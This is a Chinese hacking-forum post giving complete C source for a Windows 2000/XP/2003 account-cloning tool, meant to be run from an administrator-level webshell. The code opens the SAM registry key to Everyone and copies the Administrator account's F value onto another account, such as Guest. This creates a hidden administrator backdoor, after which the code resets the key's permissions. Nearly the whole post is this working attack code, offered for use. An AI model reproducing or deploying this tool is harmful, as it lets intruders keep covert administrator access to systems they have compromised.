軟件作者:pt007[at]vip.sina.com版權所有,轉載請注明版權
信息來源:邪惡八進制信息安全團隊(
www.eviloctal.com)
本程序是基于dahubaobao的源程序的基礎上進行了修改,改正了源程序中的一個嚴重BUG(原程序會引起用戶管理的混亂),本版本加入了注冊表提權和恢復功能,因此能夠完美的支持XP/2000/2003,下一個版本我打算實現直接輸入用戶名克隆和密碼修改功能!感謝dahubaobao和sinister的指點.
WEBSHELL里可執行是指:至少有一個管理員權限的shell,如:jsp/MYSQL/SERV提權/反彈CMDSHELL
Copy code
#include <windows.h>
#include <string.h>
#include <stdio.h>
#include <aclapi.h>
char name[50][30];
int KeyN=0;
LPTSTR lpObjectName;
SE_OBJECT_TYPE ObjectType; //#include <aclapi.h>
PACL OldDACL,NewDACL;
PSECURITY_DESCRIPTOR SD;
EXPLICIT_ACCESS ea;
//OpenKey(),ViewUser(),ListUser()函數用到的變量
//顯示用戶名對應的安全標識符:
void OpenKey (char *key);
int ViewUser (char *key);
int ListUser (void);//列出用戶名和類型值(用戶SID)
int Clone (char *C_sid);//克隆帳戶
void Usage (void);//幫助信息
//設置注冊表的存取權限:
void new();
void old();
void main (int argc, char *argv[])
{
char C_Sid[10];
int n;
if(argc<2)
{Usage();
return;}
//提升注冊表SAM鍵的權限:
new();
//如何使用命令行參數的方法:
for (n=1;n<argc;n++)
{
if (argv[n][0] == '-')
{
switch(argv[n][1])
{
case '?':
case 'h':
case 'H':Usage();
break;
case 'l':
case 'L':ListUser();
old();
break;
case 'c':
case 'C':
if(argc<3)
{printf("Useage:%s -c 1F5\n",argv[0]);
old();
break;}
strcpy(C_Sid,argv[2]);//獲得屏幕輸入并存入C_Sid字符數組
if (strlen(C_Sid)<=10)
Clone(C_Sid);
else
printf("Error\n");
//恢復注冊表的權限:
old();
break;
}
}
}
}
void OpenKey (char *key)
{
HKEY hkey;//注冊表鍵值的句柄
DWORD dwIndex=0,lpcbname=100,ret=0;
char T_name[100],Buffer[100];
FILETIME lpftlast;
int i=0;
//下面是字符數組清0:
ZeroMemory(Buffer,100);
ZeroMemory(T_name,100);
ZeroMemory(name,1500);
RegOpenKeyEx(HKEY_LOCAL_MACHINE, //根鍵名或已打開項的句柄
key, //傳遞一個參數,欲打開的注冊表項
0, //未用,設為0即可
KEY_ALL_ACCESS, //描述新鍵值安全性的訪問掩碼
//它們的組合描述了允許對這個項進行哪些操作
&hkey);//裝載上面打開項的句柄
for(i=0;ret==ERROR_SUCCESS;i++,dwIndex++)//遍歷子鍵中的每個值
{
ret=RegEnumKeyEx(hkey,dwIndex,T_name,&lpcbname,
NULL,NULL,NULL,&lpftlast);
//dwIndex:欲獲取的子項的索引。第一個子項的索引編號為零
//T_name:用于裝載指定索引處項名的一個緩沖區
//&lpcbname:指定一個變量,用于裝載lpName緩沖區的實際長度(包括空字符)。
//一旦返回,它會設為實際裝載到lpName緩沖區的字符數量
//NULL:未用,設為零
//NULL:項使用的類名
//NULL:用于裝載lpClass緩沖區長度的一個變量
//&lpftlast:FILETIME,枚舉子項上一次修改的時間
strcat(name[i],T_name);//將每個子鍵名加入到name[i]數組中
ZeroMemory(T_name,100);//清0
lpcbname=100;
}
//printf("subkey=%s\n",name[0]);//administrator
RegCloseKey(hkey); //關閉注冊鍵
//拼接用戶名:
for(KeyN=0;KeyN<i;KeyN++)
{
strcat(Buffer,name[KeyN]);
strcat(Buffer,"\n\r");
}
}
int ViewUser (char *key)
{
HKEY hkey;
DWORD lpType=0,ret;
char S_name[10];
ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,
key,//如://SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
RegQueryValueEx(hkey,NULL,NULL,&lpType,NULL,NULL);
//NULL:要獲取值的名字
//NULL:未用,設為零
//&lpType:用于裝載取回數據類型的一個變量
//NULL:用于裝載指定值的一個緩沖區
//NULL:用于裝載lpData緩沖區長度的一個變量
wsprintf(S_name,"%X\n\r",lpType);
printf("%s",S_name);
return 1;
}
int ListUser (void)
{
int n;
char Buffer[70]="SAM\\SAM\\Domains\\Account\\Users\\Names\\";
char Temp[40]={'\0'};
OpenKey("SAM\\SAM\\Domains\\Account\\Users\\Names");
for(n=0;n<KeyN;n++)
{
strcat(Buffer,name[n]);//SAM\\SAM\\Domains\\Account\\Users\\Names\\administrator
wsprintf(Temp,name[n]);
strcat(Temp,"===>");
printf("%s",Temp);
ViewUser(Buffer);
strcpy(Buffer,"SAM\\SAM\\Domains\\Account\\Users\\Names\\");
}
return 1;
}
int Clone(char *C_sid)
{
HKEY hkey,C_hkey;
DWORD Type=REG_BINARY,SizeF=1024*2,SizeV=1024*10,ret;
char CloneSid[100];
LPBYTE lpDataF,lpDataV;
//為注冊表的F與V值分配空間:
lpDataF = (LPBYTE) malloc(1024*2);
lpDataV = (LPBYTE) malloc(1024*10);
//清0:
ZeroMemory(lpDataF,1024*2);
ZeroMemory(lpDataV,1024*10);
ZeroMemory(CloneSid,100);
strcpy(CloneSid,"SAM\\SAM\\Domains\\Account\\Users\\00000");
strcat(CloneSid,C_sid);//如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
ret= RegOpenKeyEx(HKEY_LOCAL_MACHINE,
"SAM\\SAM\\Domains\\Account\\Users\\000001F4", //administrator的子鍵
0,
KEY_ALL_ACCESS,
&hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//讀出F值然后存入lpDataF中:
ret = RegQueryValueEx(hkey,"F",NULL,
&Type,lpDataF,&SizeF);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//讀出v值然后存入lpDataV中:
ret = RegQueryValueEx(hkey,"V",NULL,
&Type,lpDataV,&SizeV);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//下面是打開需克隆用戶如guest的鍵值:
ret = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
CloneSid, //如:SAM\\SAM\\Domains\\Account\\Users\\000001F5
0,
KEY_ALL_ACCESS,
&C_hkey);
if(ret==ERROR_SUCCESS)
;
else
return 0;
//將lpDataF中的值來替換需克隆用戶的F值:
ret= RegSetValueEx(C_hkey,"F",0,
REG_BINARY,
lpDataF,
SizeF);
//C_hkey:根鍵名或已打開項的句柄
//“F”:要設置值的名字
//0:未用,設為零
//REG_BINARY:要設置的數量類型
//lpDataF:包含數據的緩沖區中的第一個字節
//SizeF:lpData緩沖區的長度
if(ret==ERROR_SUCCESS)
printf("Clone User Success\n");
else
{
printf("Clone User FAIL\n");
return 0;
}
//關閉已打開的注冊表句柄:
RegCloseKey(hkey);
RegCloseKey(C_hkey);
return 1;
}
void new()
{//下面是設置SAM鍵的權限為everyone:
lpObjectName = "MACHINE\\SAM\\SAM";
ObjectType =SE_REGISTRY_KEY;
//建立一個空的ACL;
if (SetEntriesInAcl(0, NULL, NULL, &
OldDACL)!=ERROR_SUCCESS)
return;
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL)!=ERROR_SUCCESS)
return;
//獲取現有的ACL列表到OldDACL:
if(GetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
&OldDACL,
NULL, &SD) != ERROR_SUCCESS)
printf("指定的鍵不存在!\n");
// 本文轉自 C++Builder 研究 -
http://www.ccrun.com/article.asp?i=563&d=tshoza//設置用戶名"Everyone"對指定的鍵有所有操作權到結構ea:
ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
BuildExplicitAccessWithName(&ea,
"Everyone", // name of trustee
KEY_ALL_ACCESS, // type of access
SET_ACCESS, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //子鍵繼承它的權限
//合并結構ea和OldDACL的權限列表到新的NewDACL:
if(SetEntriesInAcl(1, &ea, NULL, &NewDACL) != ERROR_SUCCESS)
goto Cleanup;
//把新的ACL寫入到指定的鍵:
SetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
NewDACL,
NULL);
//釋放指針
Cleanup:
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
}
void old()
{
//恢復注冊表的權限:
BuildExplicitAccessWithName(&ea,
"system", // name of trustee
KEY_ALL_ACCESS, // type of access
SET_ACCESS, // access mode
SUB_CONTAINERS_AND_OBJECTS_INHERIT); //讓子鍵繼承他的權限
if(SetEntriesInAcl(1, &ea, NULL, &OldDACL) != ERROR_SUCCESS)
goto Cleanup;
//把舊的ACL寫入到指定的鍵:
SetNamedSecurityInfo(lpObjectName, ObjectType,
DACL_SECURITY_INFORMATION,
NULL, NULL,
OldDACL,
NULL);
//釋放指針
Cleanup:
if(SD != NULL)
LocalFree((HLOCAL) SD);
if(NewDACL != NULL)
LocalFree((HLOCAL) NewDACL);
if(OldDACL != NULL)
LocalFree((HLOCAL) OldDACL);
}
//輸出幫助的典型方法:
void Usage (void)
{
fprintf(stderr,"===============================================================================\n"
"\t名稱:2003與2000下克隆任意用戶程序\n"
"\t環境:Win2003 + Visual C++ 6.0\n"
"\t作者:
pt007@vip.sina.com\n"
"\tQQ:7491805\n"
"\t聲明:本軟件由pt007原創,轉載請注明出處,謝謝!\n"
"\n"
"\t使用方法:\n"
"\t\"-H\":幫助信息\n"
"\t\"-L\":列出系統中用戶對應的SID\n"
"\t\"-C 1F5\":克隆帳戶,輸入SID即可\n"
"\t 對應注冊表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\n"
"\t 對應注冊表HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\Names\n"
"\n"
"\t注意事項:\n"
"\t由于SID的前5位都是\"0\",所以不必輸入,直接輸入最后三位\n"
"\t例如:000001F5,則直接輸入1F5,即可將Guest帳戶克隆\n"
"===============================================================================\n");
}